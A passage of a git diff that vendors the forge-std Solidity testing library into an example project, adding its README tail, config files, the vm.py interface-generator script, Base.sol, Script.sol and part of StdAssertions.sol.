+It's recommended to use `console2.sol` as shown below, as this will show the decoded logs in Forge traces.
+
+```solidity
+// import it indirectly via Test.sol
+import "forge-std/Test.sol";
+// or directly import it
+import "forge-std/console2.sol";
+...
+console2.log(someValue);
+```
+
+If you need compatibility with Hardhat, you must use the standard `console.sol` instead.
+Due to a bug in `console.sol`, logs that use `uint256` or `int256` types will not be properly decoded in Forge traces.
+
+```solidity
+// import it indirectly via Test.sol
+import "forge-std/Test.sol";
+// or directly import it
+import "forge-std/console.sol";
+...
+console.log(someValue);
+```
+
+## License
+
+Forge Standard Library is offered under either [MIT](LICENSE-MIT) or [Apache 2.0](LICENSE-APACHE) license.
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/foundry.toml b/basic/41-foundry/with-hardhat/lib/forge-std/foundry.toml
new file mode 100644
index 000000000..c873eaa4c
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/foundry.toml
@@ -0,0 +1,21 @@
+[profile.default]
+fs_permissions = [{ access = "read-write", path = "./"}]
+
+[rpc_endpoints]
+# The RPC URLs are modified versions of the default for testing initialization.
+mainnet = "https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX" # Different API key.
+optimism_goerli = "https://goerli.optimism.io/" # Adds a trailing slash.
+arbitrum_one_goerli = "https://goerli-rollup.arbitrum.io/rpc/" # Adds a trailing slash.
+needs_undefined_env_var = "${UNDEFINED_RPC_URL_PLACEHOLDER}"
+
+[fmt]
+# These are all the `forge fmt` defaults.
+line_length = 120
+tab_width = 4
+bracket_spacing = false
+int_types = 'long'
+multiline_func_header = 'attributes_first'
+quote_style = 'double'
+number_underscore = 'preserve'
+single_line_statement_blocks = 'preserve'
+ignore = ["src/console.sol", "src/console2.sol"]
\ No newline at end of file
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/package.json b/basic/41-foundry/with-hardhat/lib/forge-std/package.json
new file mode 100644
index 000000000..acc004bee
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/package.json
@@ -0,0 +1,16 @@
+{
+  "name": "forge-std",
+  "version": "1.7.6",
+  "description": "Forge Standard Library is a collection of helpful contracts and libraries for use with Forge and Foundry.",
+  "homepage": "https://book.getfoundry.sh/forge/forge-std",
+  "bugs": "https://github.com/foundry-rs/forge-std/issues",
+  "license": "(Apache-2.0 OR MIT)",
+  "author": "Contributors to Forge Standard Library",
+  "files": [
+    "src/**/*"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/foundry-rs/forge-std.git"
+  }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/scripts/vm.py b/basic/41-foundry/with-hardhat/lib/forge-std/scripts/vm.py
new file mode 100755
index 000000000..f0537db9b
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/scripts/vm.py
@@ -0,0 +1,635 @@
+#!/usr/bin/env python3
+
+import copy
+import json
+import re
+import subprocess
+from enum import Enum as PyEnum
+from typing import Callable
+from urllib import request
+
+VoidFn = Callable[[], None]
+
+CHEATCODES_JSON_URL = "https://raw.githubusercontent.com/foundry-rs/foundry/master/crates/cheatcodes/assets/cheatcodes.json"
+OUT_PATH = "src/Vm.sol"
+
+VM_SAFE_DOC = """\
+/// The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may
+/// result in Script simulations differing from on-chain execution. It is recommended to only use
+/// these cheats in scripts.
+"""
+
+VM_DOC = """\
+/// The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used
+/// in tests, but it is not recommended to use these cheats in scripts.
+"""
+
+
+def main():
+    json_str = request.urlopen(CHEATCODES_JSON_URL).read().decode("utf-8")
+    contract = Cheatcodes.from_json(json_str)
+
+    ccs = contract.cheatcodes
+    ccs = list(filter(lambda cc: cc.status not in ["experimental", "internal"], ccs))
+    ccs.sort(key=lambda cc: cc.func.id)
+
+    safe = list(filter(lambda cc: cc.safety == "safe", ccs))
+    safe.sort(key=CmpCheatcode)
+    unsafe = list(filter(lambda cc: cc.safety == "unsafe", ccs))
+    unsafe.sort(key=CmpCheatcode)
+    assert len(safe) + len(unsafe) == len(ccs)
+
+    prefix_with_group_headers(safe)
+    prefix_with_group_headers(unsafe)
+
+    out = ""
+
+    out += "// Automatically @generated by scripts/vm.py. Do not modify manually.\n\n"
+
+    pp = CheatcodesPrinter(
+        spdx_identifier="MIT OR Apache-2.0",
+        solidity_requirement=">=0.6.2 <0.9.0",
+        abicoder_pragma=True,
+    )
+    pp.p_prelude()
+    pp.prelude = False
+    out += pp.finish()
+
+    out += "\n\n"
+    out += VM_SAFE_DOC
+    vm_safe = Cheatcodes(
+        # TODO: Custom errors were introduced in 0.8.4
+        errors=[],  # contract.errors
+        events=contract.events,
+        enums=contract.enums,
+        structs=contract.structs,
+        cheatcodes=safe,
+    )
+    pp.p_contract(vm_safe, "VmSafe")
+    out += pp.finish()
+
+    out += "\n\n"
+    out += VM_DOC
+    vm_unsafe = Cheatcodes(
+        errors=[],
+        events=[],
+        enums=[],
+        structs=[],
+        cheatcodes=unsafe,
+    )
+    pp.p_contract(vm_unsafe, "Vm", "VmSafe")
+    out += pp.finish()
+
+    # Compatibility with <0.8.0
+    def memory_to_calldata(m: re.Match) -> str:
+        return " calldata " + m.group(1)
+
+    out = re.sub(r" memory (.*returns)", memory_to_calldata, out)
+
+    with open(OUT_PATH, "w") as f:
+        f.write(out)
+
+    forge_fmt = ["forge", "fmt", OUT_PATH]
+    res = subprocess.run(forge_fmt)
+    assert res.returncode == 0, f"command failed: {forge_fmt}"
+
+    print(f"Wrote to {OUT_PATH}")
+
+
+class CmpCheatcode:
+    cheatcode: "Cheatcode"
+
+    def __init__(self, cheatcode: "Cheatcode"):
+        self.cheatcode = cheatcode
+
+    def __lt__(self, other: "CmpCheatcode") -> bool:
+        return cmp_cheatcode(self.cheatcode, other.cheatcode) < 0
+
+    def __eq__(self, other: "CmpCheatcode") -> bool:
+        return cmp_cheatcode(self.cheatcode, other.cheatcode) == 0
+
+    def __gt__(self, other: "CmpCheatcode") -> bool:
+        return cmp_cheatcode(self.cheatcode, other.cheatcode) > 0
+
+
+def cmp_cheatcode(a: "Cheatcode", b: "Cheatcode") -> int:
+    if a.group != b.group:
+        return -1 if a.group < b.group else 1
+    if a.status != b.status:
+        return -1 if a.status < b.status else 1
+    if a.safety != b.safety:
+        return -1 if a.safety < b.safety else 1
+    if a.func.id != b.func.id:
+        return -1 if a.func.id < b.func.id else 1
+    return 0
+
+
+# HACK: A way to add group header comments without having to modify printer code
+def prefix_with_group_headers(cheats: list["Cheatcode"]):
+    s = set()
+    for i, cheat in enumerate(cheats):
+        if cheat.group in s:
+            continue
+
+        s.add(cheat.group)
+
+        c = copy.deepcopy(cheat)
+        c.func.description = ""
+        c.func.declaration = f"// ======== {group(c.group)} ========"
+        cheats.insert(i, c)
+    return cheats
+
+
+def group(s: str) -> str:
+    if s == "evm":
+        return "EVM"
+    if s == "json":
+        return "JSON"
+    return s[0].upper() + s[1:]
+
+
+class Visibility(PyEnum):
+    EXTERNAL: str = "external"
+    PUBLIC: str = "public"
+    INTERNAL: str = "internal"
+    PRIVATE: str = "private"
+
+    def __str__(self):
+        return self.value
+
+
+class Mutability(PyEnum):
+    PURE: str = "pure"
+    VIEW: str = "view"
+    NONE: str = ""
+
+    def __str__(self):
+        return self.value
+
+
+class Function:
+    id: str
+    description: str
+    declaration: str
+    visibility: Visibility
+    mutability: Mutability
+    signature: str
+    selector: str
+    selector_bytes: bytes
+
+    def __init__(
+        self,
+        id: str,
+        description: str,
+        declaration: str,
+        visibility: Visibility,
+        mutability: Mutability,
+        signature: str,
+        selector: str,
+        selector_bytes: bytes,
+    ):
+        self.id = id
+        self.description = description
+        self.declaration = declaration
+        self.visibility = visibility
+        self.mutability = mutability
+        self.signature = signature
+        self.selector = selector
+        self.selector_bytes = selector_bytes
+
+    @staticmethod
+    def from_dict(d: dict) -> "Function":
+        return Function(
+            d["id"],
+            d["description"],
+            d["declaration"],
+            Visibility(d["visibility"]),
+            Mutability(d["mutability"]),
+            d["signature"],
+            d["selector"],
+            bytes(d["selectorBytes"]),
+        )
+
+
+class Cheatcode:
+    func: Function
+    group: str
+    status: str
+    safety: str
+
+    def __init__(self, func: Function, group: str, status: str, safety: str):
+        self.func = func
+        self.group = group
+        self.status = status
+        self.safety = safety
+
+    @staticmethod
+    def from_dict(d: dict) -> "Cheatcode":
+        return Cheatcode(
+            Function.from_dict(d["func"]),
+            str(d["group"]),
+            str(d["status"]),
+            str(d["safety"]),
+        )
+
+
+class Error:
+    name: str
+    description: str
+    declaration: str
+
+    def __init__(self, name: str, description: str, declaration: str):
+        self.name = name
+        self.description = description
+        self.declaration = declaration
+
+    @staticmethod
+    def from_dict(d: dict) -> "Error":
+        return Error(**d)
+
+
+class Event:
+    name: str
+    description: str
+    declaration: str
+
+    def __init__(self, name: str, description: str, declaration: str):
+        self.name = name
+        self.description = description
+        self.declaration = declaration
+
+    @staticmethod
+    def from_dict(d: dict) -> "Event":
+        return Event(**d)
+
+
+class EnumVariant:
+    name: str
+    description: str
+
+    def __init__(self, name: str, description: str):
+        self.name = name
+        self.description = description
+
+
+class Enum:
+    name: str
+    description: str
+    variants: list[EnumVariant]
+
+    def __init__(self, name: str, description: str, variants: list[EnumVariant]):
+        self.name = name
+        self.description = description
+        self.variants = variants
+
+    @staticmethod
+    def from_dict(d: dict) -> "Enum":
+        return Enum(
+            d["name"],
+            d["description"],
+            list(map(lambda v: EnumVariant(**v), d["variants"])),
+        )
+
+
+class StructField:
+    name: str
+    ty: str
+    description: str
+
+    def __init__(self, name: str, ty: str, description: str):
+        self.name = name
+        self.ty = ty
+        self.description = description
+
+
+class Struct:
+    name: str
+    description: str
+    fields: list[StructField]
+
+    def __init__(self, name: str, description: str, fields: list[StructField]):
+        self.name = name
+        self.description = description
+        self.fields = fields
+
+    @staticmethod
+    def from_dict(d: dict) -> "Struct":
+        return Struct(
+            d["name"],
+            d["description"],
+            list(map(lambda f: StructField(**f), d["fields"])),
+        )
+
+
+class Cheatcodes:
+    errors: list[Error]
+    events: list[Event]
+    enums: list[Enum]
+    structs: list[Struct]
+    cheatcodes: list[Cheatcode]
+
+    def __init__(
+        self,
+        errors: list[Error],
+        events: list[Event],
+        enums: list[Enum],
+        structs: list[Struct],
+        cheatcodes: list[Cheatcode],
+    ):
+        self.errors = errors
+        self.events = events
+        self.enums = enums
+        self.structs = structs
+        self.cheatcodes = cheatcodes
+
+    @staticmethod
+    def from_dict(d: dict) -> "Cheatcodes":
+        return Cheatcodes(
+            errors=[Error.from_dict(e) for e in d["errors"]],
+            events=[Event.from_dict(e) for e in d["events"]],
+            enums=[Enum.from_dict(e) for e in d["enums"]],
+            structs=[Struct.from_dict(e) for e in d["structs"]],
+            cheatcodes=[Cheatcode.from_dict(e) for e in d["cheatcodes"]],
+        )
+
+    @staticmethod
+    def from_json(s) -> "Cheatcodes":
+        return Cheatcodes.from_dict(json.loads(s))
+
+    @staticmethod
+    def from_json_file(file_path: str) -> "Cheatcodes":
+        with open(file_path, "r") as f:
+            return Cheatcodes.from_dict(json.load(f))
+
+
+class Item(PyEnum):
+    ERROR: str = "error"
+    EVENT: str = "event"
+    ENUM: str = "enum"
+    STRUCT: str = "struct"
+    FUNCTION: str = "function"
+
+
+class ItemOrder:
+    _list: list[Item]
+
+    def __init__(self, list: list[Item]) -> None:
+        assert len(list) <= len(Item), "list must not contain more items than Item"
+        assert len(list) == len(set(list)), "list must not contain duplicates"
+        self._list = list
+        pass
+
+    def get_list(self) -> list[Item]:
+        return self._list
+
+    @staticmethod
+    def default() -> "ItemOrder":
+        return ItemOrder(
+            [
+                Item.ERROR,
+                Item.EVENT,
+                Item.ENUM,
+                Item.STRUCT,
+                Item.FUNCTION,
+            ]
+        )
+
+
+class CheatcodesPrinter:
+    buffer: str
+
+    prelude: bool
+    spdx_identifier: str
+    solidity_requirement: str
+    abicoder_v2: bool
+
+    block_doc_style: bool
+
+    indent_level: int
+    _indent_str: str
+
+    nl_str: str
+
+    items_order: ItemOrder
+
+    def __init__(
+        self,
+        buffer: str = "",
+        prelude: bool = True,
+        spdx_identifier: str = "UNLICENSED",
+        solidity_requirement: str = "",
+        abicoder_pragma: bool = False,
+        block_doc_style: bool = False,
+        indent_level: int = 0,
+        indent_with: int | str = 4,
+        nl_str: str = "\n",
+        items_order: ItemOrder = ItemOrder.default(),
+    ):
+        self.prelude = prelude
+        self.spdx_identifier = spdx_identifier
+        self.solidity_requirement = solidity_requirement
+        self.abicoder_v2 = abicoder_pragma
+        self.block_doc_style = block_doc_style
+        self.buffer = buffer
+        self.indent_level = indent_level
+        self.nl_str = nl_str
+
+        if isinstance(indent_with, int):
+            assert indent_with >= 0
+            self._indent_str = " " * indent_with
+        elif isinstance(indent_with, str):
+            self._indent_str = indent_with
+        else:
+            assert False, "indent_with must be int or str"
+
+        self.items_order = items_order
+
+    def finish(self) -> str:
+        ret = self.buffer.rstrip()
+        self.buffer = ""
+        return ret
+
+    def p_contract(self, contract: Cheatcodes, name: str, inherits: str = ""):
+        if self.prelude:
+            self.p_prelude(contract)
+
+        self._p_str("interface ")
+        name = name.strip()
+        if name != "":
+            self._p_str(name)
+            self._p_str(" ")
+        if inherits != "":
+            self._p_str("is ")
+            self._p_str(inherits)
+            self._p_str(" ")
+        self._p_str("{")
+        self._p_nl()
+        self._with_indent(lambda: self._p_items(contract))
+        self._p_str("}")
+        self._p_nl()
+
+    def _p_items(self, contract: Cheatcodes):
+        for item in self.items_order.get_list():
+            if item == Item.ERROR:
+                self.p_errors(contract.errors)
+            elif item == Item.EVENT:
+                self.p_events(contract.events)
+            elif item == Item.ENUM:
+                self.p_enums(contract.enums)
+            elif item == Item.STRUCT:
+                self.p_structs(contract.structs)
+            elif item == Item.FUNCTION:
+                self.p_functions(contract.cheatcodes)
+            else:
+                assert False, f"unknown item {item}"
+
+    def p_prelude(self, contract: Cheatcodes | None = None):
+        self._p_str(f"// SPDX-License-Identifier: {self.spdx_identifier}")
+        self._p_nl()
+
+        if self.solidity_requirement != "":
+            req = self.solidity_requirement
+        elif contract and len(contract.errors) > 0:
+            req = ">=0.8.4 <0.9.0"
+        else:
+            req = ">=0.6.0 <0.9.0"
+        self._p_str(f"pragma solidity {req};")
+        self._p_nl()
+
+        if self.abicoder_v2:
+            self._p_str("pragma experimental ABIEncoderV2;")
+            self._p_nl()
+
+        self._p_nl()
+
+    def p_errors(self, errors: list[Error]):
+        for error in errors:
+            self._p_line(lambda: self.p_error(error))
+
+    def p_error(self, error: Error):
+        self._p_comment(error.description, doc=True)
+        self._p_line(lambda: self._p_str(error.declaration))
+
+    def p_events(self, events: list[Event]):
+        for event in events:
+            self._p_line(lambda: self.p_event(event))
+
+    def p_event(self, event: Event):
+        self._p_comment(event.description, doc=True)
+        self._p_line(lambda: self._p_str(event.declaration))
+
+    def p_enums(self, enums: list[Enum]):
+        for enum in enums:
+            self._p_line(lambda: self.p_enum(enum))
+
+    def p_enum(self, enum: Enum):
+        self._p_comment(enum.description, doc=True)
+        self._p_line(lambda: self._p_str(f"enum {enum.name} {{"))
+        self._with_indent(lambda: self.p_enum_variants(enum.variants))
+        self._p_line(lambda: self._p_str("}"))
+
+    def p_enum_variants(self, variants: list[EnumVariant]):
+        for i, variant in enumerate(variants):
+            self._p_indent()
+            self._p_comment(variant.description)
+
+            self._p_indent()
+            self._p_str(variant.name)
+            if i < len(variants) - 1:
+                self._p_str(",")
+            self._p_nl()
+
+    def p_structs(self, structs: list[Struct]):
+        for struct in structs:
+            self._p_line(lambda: self.p_struct(struct))
+
+    def p_struct(self, struct: Struct):
+        self._p_comment(struct.description, doc=True)
+        self._p_line(lambda: self._p_str(f"struct {struct.name} {{"))
+        self._with_indent(lambda: self.p_struct_fields(struct.fields))
+        self._p_line(lambda: self._p_str("}"))
+
+    def p_struct_fields(self, fields: list[StructField]):
+        for field in fields:
+            self._p_line(lambda: self.p_struct_field(field))
+
+    def p_struct_field(self, field: StructField):
+        self._p_comment(field.description)
+        self._p_indented(lambda: self._p_str(f"{field.ty} {field.name};"))
+
+    def p_functions(self, cheatcodes: list[Cheatcode]):
+        for cheatcode in cheatcodes:
+            self._p_line(lambda: self.p_function(cheatcode.func))
+
+    def p_function(self, func: Function):
+        self._p_comment(func.description, doc=True)
+        self._p_line(lambda: self._p_str(func.declaration))
+
+    def _p_comment(self, s: str, doc: bool = False):
+        s = s.strip()
+        if s == "":
+            return
+
+        s = map(lambda line: line.lstrip(), s.split("\n"))
+        if self.block_doc_style:
+            self._p_str("/*")
+            if doc:
+                self._p_str("*")
+            self._p_nl()
+            for line in s:
+                self._p_indent()
+                self._p_str(" ")
+                if doc:
+                    self._p_str("* ")
+                self._p_str(line)
+                self._p_nl()
+            self._p_indent()
+            self._p_str(" */")
+            self._p_nl()
+        else:
+            first_line = True
+            for line in s:
+                if not first_line:
+                    self._p_indent()
+                first_line = False
+
+                if doc:
+                    self._p_str("/// ")
+                else:
+                    self._p_str("// ")
+                self._p_str(line)
+                self._p_nl()
+
+    def _with_indent(self, f: VoidFn):
+        self._inc_indent()
+        f()
+        self._dec_indent()
+
+    def _p_line(self, f: VoidFn):
+        self._p_indent()
+        f()
+        self._p_nl()
+
+    def _p_indented(self, f: VoidFn):
+        self._p_indent()
+        f()
+
+    def _p_indent(self):
+        for _ in range(self.indent_level):
+            self._p_str(self._indent_str)
+
+    def _p_nl(self):
+        self._p_str(self.nl_str)
+
+    def _p_str(self, txt: str):
+        self.buffer += txt
+
+    def _inc_indent(self):
+        self.indent_level += 1
+
+    def _dec_indent(self):
+        self.indent_level -= 1
+
+
+if __name__ == "__main__":
+    main()
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/Base.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/Base.sol
new file mode 100644
index 000000000..da5292670
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/Base.sol
@@ -0,0 +1,33 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {StdStorage} from './StdStorage.sol';
+import {Vm, VmSafe} from './Vm.sol';
+
+abstract contract CommonBase {
+    // Cheat code address, 0x7109709ECfa91a80626fF3989D68f67F5b1DD12D.
+    address internal constant VM_ADDRESS = address(uint160(uint256(keccak256('hevm cheat code'))));
+    // console.sol and console2.sol work by executing a staticcall to this address.
+    address internal constant CONSOLE = 0x000000000000000000636F6e736F6c652e6c6f67;
+    // Used when deploying with create2, https://github.com/Arachnid/deterministic-deployment-proxy.
+    address internal constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C;
+    // Default address for tx.origin and msg.sender, 0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38.
+    address internal constant DEFAULT_SENDER = address(uint160(uint256(keccak256('foundry default caller'))));
+    // Address of the test contract, deployed by the DEFAULT_SENDER.
+    address internal constant DEFAULT_TEST_CONTRACT = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;
+    // Deterministic deployment address of the Multicall3 contract.
+    address internal constant MULTICALL3_ADDRESS = 0xcA11bde05977b3631167028862bE2a173976CA11;
+    // The order of the secp256k1 curve.
+    uint256 internal constant SECP256K1_ORDER = 115792089237316195423570985008687907852837564279074904382605163141518161494337;
+
+    uint256 internal constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    Vm internal constant vm = Vm(VM_ADDRESS);
+    StdStorage internal stdstore;
+}
+
+abstract contract TestBase is CommonBase {}
+
+abstract contract ScriptBase is CommonBase {
+    VmSafe internal constant vmSafe = VmSafe(VM_ADDRESS);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/Script.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/Script.sol
new file mode 100644
index 000000000..036964337
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/Script.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+// 💬 ABOUT
+// Forge Std's default Script.
+
+// 🧩 MODULES
+import {console} from './console.sol';
+import {console2} from './console2.sol';
+import {safeconsole} from './safeconsole.sol';
+import {StdChains} from './StdChains.sol';
+import {StdCheatsSafe} from './StdCheats.sol';
+import {stdJson} from './StdJson.sol';
+import {stdMath} from './StdMath.sol';
+import {StdStorage, stdStorageSafe} from './StdStorage.sol';
+import {StdStyle} from './StdStyle.sol';
+import {StdUtils} from './StdUtils.sol';
+import {VmSafe} from './Vm.sol';
+
+// 📦 BOILERPLATE
+import {ScriptBase} from './Base.sol';
+
+// ⭐️ SCRIPT
+abstract contract Script is ScriptBase, StdChains, StdCheatsSafe, StdUtils {
+    // Note: IS_SCRIPT() must return true.
+    bool public IS_SCRIPT = true;
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdAssertions.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdAssertions.sol
new file mode 100644
index 000000000..de70f6434
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdAssertions.sol
@@ -0,0 +1,631 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+pragma experimental ABIEncoderV2;
+
+import {Vm} from './Vm.sol';
+
+abstract contract StdAssertions {
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    event log(string);
+    event logs(bytes);
+
+    event log_address(address);
+    event log_bytes32(bytes32);
+    event log_int(int256);
+    event log_uint(uint256);
+    event log_bytes(bytes);
+    event log_string(string);
+
+    event log_named_address(string key, address val);
+    event log_named_bytes32(string key, bytes32 val);
+    event log_named_decimal_int(string key, int256 val, uint256 decimals);
+    event log_named_decimal_uint(string key, uint256 val, uint256 decimals);
+    event log_named_int(string key, int256 val);
+    event log_named_uint(string key, uint256 val);
+    event log_named_bytes(string key, bytes val);
+    event log_named_string(string key, string val);
+
+    event log_array(uint256[] val);
+    event log_array(int256[] val);
+    event log_array(address[] val);
+    event log_named_array(string key, uint256[] val);
+    event log_named_array(string key, int256[] val);
+    event log_named_array(string key, address[] val);
+
+    bool private _failed;
+
+    function failed() public view returns (bool) {
+        if (_failed) {
+            return _failed;
+        } else {
+            return vm.load(address(vm), bytes32('failed')) != bytes32(0);
+        }
+    }
+
+    function fail() internal virtual {
+        vm.store(address(vm), bytes32('failed'), bytes32(uint256(1)));
+        _failed = true;
+    }
+
+    function assertTrue(bool data) internal pure virtual {
+        vm.assertTrue(data);
+    }
+
+    function assertTrue(bool data, string memory err) internal pure virtual {
+        vm.assertTrue(data, err);
+    }
+
+    function assertFalse(bool data) internal pure virtual {
+        vm.assertFalse(data);
+    }
+
+    function assertFalse(bool data, string memory err) internal pure virtual {
+        vm.assertFalse(data, err);
+    }
+
+    function assertEq(bool left, bool right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bool left, bool right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(uint256 left, uint256 right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals);
+    }
+
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals, err);
+    }
+
+    function assertEq(int256 left, int256 right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals);
+    }
+
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertEqDecimal(left, right, decimals, err);
+    }
+
+    function assertEq(address left, address right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(address left, address right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes32 left, bytes32 right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq32(bytes32 left, bytes32 right) internal pure virtual {
+        assertEq(left, right);
+    }
+
+    function assertEq32(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        assertEq(left, right, err);
+    }
+
+    function assertEq(string memory left, string memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(string memory left, string memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes memory left, bytes memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bool[] memory left, bool[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bool[] memory left, bool[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(uint256[] memory left, uint256[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(uint256[] memory left, uint256[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(int256[] memory left, int256[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(int256[] memory left, int256[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(address[] memory left, address[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(address[] memory left, address[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes32[] memory left, bytes32[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes32[] memory left, bytes32[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(string[] memory left, string[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(string[] memory left, string[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    function assertEq(bytes[] memory left, bytes[] memory right) internal pure virtual {
+        vm.assertEq(left, right);
+    }
+
+    function assertEq(bytes[] memory left, bytes[] memory right, string memory err) internal pure virtual {
+        vm.assertEq(left, right, err);
+    }
+
+    // Legacy helper
+    function assertEqUint(uint256 left, uint256 right) internal pure virtual {
+        assertEq(left, right);
+    }
+
+    function assertNotEq(bool left, bool right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bool left, bool right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(uint256 left, uint256 right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals);
+    }
+
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals, err);
+    }
+
+    function assertNotEq(int256 left, int256 right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals);
+    }
+
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertNotEqDecimal(left, right, decimals, err);
+    }
+
+    function assertNotEq(address left, address right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(address left, address right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes32 left, bytes32 right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq32(bytes32 left, bytes32 right) internal pure virtual {
+        assertNotEq(left, right);
+    }
+
+    function assertNotEq32(bytes32 left, bytes32 right, string memory err) internal pure virtual {
+        assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(string memory left, string memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(string memory left, string memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes memory left, bytes memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bool[] memory left, bool[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bool[] memory left, bool[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(uint256[] memory left, uint256[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(uint256[] memory left, uint256[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
